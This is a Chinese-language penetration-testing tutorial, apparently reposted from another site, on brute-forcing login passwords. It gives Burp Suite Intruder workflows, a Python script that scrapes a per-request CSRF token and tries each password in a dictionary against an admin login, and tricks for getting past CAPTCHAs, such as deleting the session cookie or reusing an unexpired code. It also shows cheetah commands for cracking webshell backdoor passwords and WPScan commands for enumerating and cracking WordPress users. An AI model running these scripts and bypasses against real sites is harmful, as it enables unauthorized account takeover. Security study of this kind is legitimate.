一、概述
窮舉就是枚舉的意思,在互聯(lián)網(wǎng)的今天,需要使用某種的服務(wù),大多數(shù)都需要口令登錄,這個(gè)口令就是密碼,密碼的強(qiáng)度分為,弱口令 、中度口令、強(qiáng)度口令。如果登錄的服務(wù)為弱口令,那會存在很大的安全隱患,黑客通過窮舉弱口令對服務(wù)進(jìn)行攻擊,很容易就得到登錄密碼。得到密碼之后就能登錄服務(wù),進(jìn)行其他危害較大得操作。黑客也能通過對用戶得信息整理,組合密碼進(jìn)行窮舉攻擊。例如根據(jù)用戶的生日號碼,出身年月日和姓名進(jìn)行口令組合,再對其服務(wù)進(jìn)行窮舉。
二、常見的服務(wù)
服務(wù) | 端口 |
---|---|
web | 80 |
mysql | 3306 |
Microsoft SQL Server | 1433 |
https | 443 |
ftp | 21 |
ssh | 22 |
dns | 53 |
tomcat | 8080 |
redis | 6379 |
rsync | 873 |
PostgreSQL | 5432 |
cobaltstrike teamserver | 50050 |
smtp | 25 |
pop3 | 110 |
遠(yuǎn)程終端 rdp | 3389 |
smb | 445 |
rpc | 135 |
imap | 143 |
NetBIOS | 139 |
SMTPS | 465 |
POP3S | 995 |
mogodb | 27018 |
memcached | 11211 |
telnet | 23 |
oracle | 1521 |
1、burpsuite 窮舉后臺密碼
brupsuite 是一個(gè)安全測試套件, 提供了眾多的測試功能。在火狐安裝插件
FoxyProxy 填寫 127.0.0.1 8080 保存為 burp 開啟代理。
截取包之后發(fā)送到 intruder 在密碼設(shè)置變量
選擇 payloads 選擇要窮舉的字典
設(shè)置攻擊后 根據(jù)返回的狀態(tài)碼 status 或者 length 網(wǎng)頁長度對其進(jìn)行判斷。這里得到正確得密碼是 123456
根據(jù)狀態(tài)碼 一般測試正確的是現(xiàn)實(shí) 302 狀態(tài)碼 另外就是響應(yīng)網(wǎng)頁的長度
2、burpsuite 對 webshell 窮舉破解密碼
灰帽子對網(wǎng)站攻破后,一般會留后門方便對其網(wǎng)站進(jìn)行非法管理。后門的程序語音包括 asp php .net 這些腳本文件放在網(wǎng)站目錄, 一般都采用單密碼進(jìn)行登錄。通過掃描獲取 webshell 的后門的網(wǎng)址。得到網(wǎng)址后可以對其進(jìn)行密碼窮舉。
- 1、burpsuite 截取數(shù)據(jù)包
- 2、發(fā)送到 intruder 模塊
- 3、選擇字典
最后得到密碼是!@#sec
3、有 token 防御的網(wǎng)站后臺窮舉破解密碼
有的網(wǎng)站后臺存在 token 值,這個(gè) token 通俗的名字叫令牌,每次刷新頁面都會隨機(jī)變化。提交請求時(shí)必須攜帶這個(gè) token 值,可以利用這點(diǎn)避免后臺進(jìn)行直接窮舉和防止 csrf 攻擊。
3.1 burpsuite 設(shè)置宏獲取 token 對網(wǎng)站后臺密碼破解
打開 burpsuite 刷新頁面 接著 forward 放行這個(gè)數(shù)據(jù)包
來到 Project options --> Session-- >add 添加宏
選擇 Run a macro
點(diǎn)擊之后選擇網(wǎng)頁歷史選擇提交之后有 token 的頁面。
添加宏
設(shè)置 configure item
add 添加規(guī)則
選擇 value 的值 Parameter name 填寫 user_token 這個(gè)值一定要相同
這樣宏就設(shè)置成功了。接著窮舉測試 抓包 設(shè)置變量 添加密碼字典。
開始攻擊 可以看到每次的 token 值都不一樣、
密碼是 password
3.2 編寫腳本獲取token 對網(wǎng)站后臺密碼破解
就上面的登錄頁面來說。
每次訪問頁面這個(gè) user_token 都會變化導(dǎo)致不能重復(fù)提交。
驗(yàn)證原理每次頁面生成user_token 存在seesion 里面每次登錄用session 里取出來然后驗(yàn)證如果驗(yàn)證成功 就進(jìn)行密碼匹配。如果驗(yàn)證不成功就輸出 csrf 錯誤。
腳本源碼
#coding:utf-8
import requests
import re
url = "http://www.c3moon.com/login.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("\n")
print(line)
if 'File Upload' in login(line):
print( "[* 密碼 is %s *]" % line )
break
密碼破解成功
4、針對有驗(yàn)證碼后臺的窮舉方法
網(wǎng)站后臺或者有登錄的地方都可能存在驗(yàn)證碼驗(yàn)證,驗(yàn)證碼的作用 不少網(wǎng)站為了防止用戶利用機(jī)器人自動注冊、登錄、灌水,都會采用驗(yàn)證碼技術(shù),所謂的驗(yàn)證碼,就是將一串隨機(jī)產(chǎn)生的數(shù)字和符號,生成一幅圖片,在圖像上加上干擾像素(防止 orc),要用戶用肉眼識別其中的驗(yàn)證碼信息,輸入表單提交網(wǎng)站驗(yàn)證。驗(yàn)證后使用網(wǎng)站某個(gè)功能.但是如果驗(yàn)證碼邏輯編寫不好會存在被繞過的風(fēng)險(xiǎn)。
4.1 cookie 不存在不驗(yàn)證繞過
有些網(wǎng)站如果網(wǎng)站不存在 cookie 就不會驗(yàn)證 驗(yàn)證碼
這里cookie即與這里相對應(yīng):
這里即可以看到發(fā)下的驗(yàn)證碼:GUTF。
這里先對比驗(yàn)證碼,再對比賬號密碼,我們這里再次發(fā)送:
這里我們回到虛擬機(jī)查看驗(yàn)證碼:
可以看到這里驗(yàn)證碼沒有,肯定驗(yàn)證不成功。
這里我們將驗(yàn)證碼刪掉,可以看到依然是驗(yàn)證碼失效的狀態(tài)。
下面我們進(jìn)行刪除 PHPSESSION 信息 驗(yàn)證碼就不進(jìn)行驗(yàn)證了。
接著對密碼進(jìn)行窮舉
破解密碼成功,登錄后臺。
4.2 后臺登錄驗(yàn)證碼沒銷毀進(jìn)行窮舉
在登錄提交的時(shí)候進(jìn)行驗(yàn)證碼驗(yàn)證 不管密碼是否正確,都要銷毀驗(yàn)證碼。不然驗(yàn)證碼可復(fù)用確定的驗(yàn)證碼
錯誤的驗(yàn)證碼
導(dǎo)入字典進(jìn)行提交
4.3 網(wǎng)站后臺驗(yàn)證碼識別窮舉密碼
驗(yàn)證碼干擾像素太少很容易就會被一些工具識別出來。如圖片提取文字工具。
登錄框存在驗(yàn)證碼 這個(gè)驗(yàn)證碼可被識別的情況下 就會被窮舉密碼。
將 burpsuite 的包放進(jìn)驗(yàn)證碼識別工具 設(shè)置字典和驗(yàn)證碼參數(shù)
接著選擇爆破欄 選擇錯誤的驗(yàn)證碼關(guān)鍵詞 設(shè)置線程 點(diǎn)擊 start 即可 可以選擇再次爆破 驗(yàn)證準(zhǔn)確率會提高。
最后查看響應(yīng)長度 獲取正確的密碼。
5、phpmyadmin 密碼窮舉
phpmyadmin 是 mysql 的一個(gè) web 管理工具,可以通過這個(gè)工具窮舉 mysql 用戶的賬號和密碼。
6、一句話木馬后門破解
一句話后門可以使用 burpsuite 通用窮舉方法窮舉密碼。
抓包 將 cmd 設(shè)置成變量 添加字典即可
關(guān)鍵字
asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx qweasd123=Response.Write("moonsec"); 密碼是 qweasd123
7、cheetah 對一句后門密碼窮舉
cheetah 是針對一句話后門的窮舉工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后門
-u 后門地址
-r 提交的方法 一般是 post
-n 一次提交密碼的數(shù)量
-v 詳細(xì)信息
-p 字典位置例子
python cheetah.py -u http://www.c1moon.com/cmd.php -r post -n 1000 -v
8、wordpress 博客系統(tǒng)用戶密碼窮舉
wordpress 是知名的博客系統(tǒng),在互聯(lián)網(wǎng)上的占有量很大,所以一定要知道這套系統(tǒng)的弱口令窮舉的方法。https://wpscan.com
首先到這個(gè)網(wǎng)站注冊賬號和密碼注冊后獲取 token
自動找賬號信息 然后登錄窮舉
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
手動收集 wordpress 用戶信息 訪問連接獲取用戶信息
http://www.vtmoon1.com/wp-json/wp/v2/users
獲取信息可以再進(jìn)行指定用戶爆破文章來源:http://www.zghlxwxcb.cn/news/detail-697123.html
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt
文章來源地址http://www.zghlxwxcb.cn/news/detail-697123.html
到了這里,關(guān)于Web安全——窮舉爆破上篇(僅供學(xué)習(xí))的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!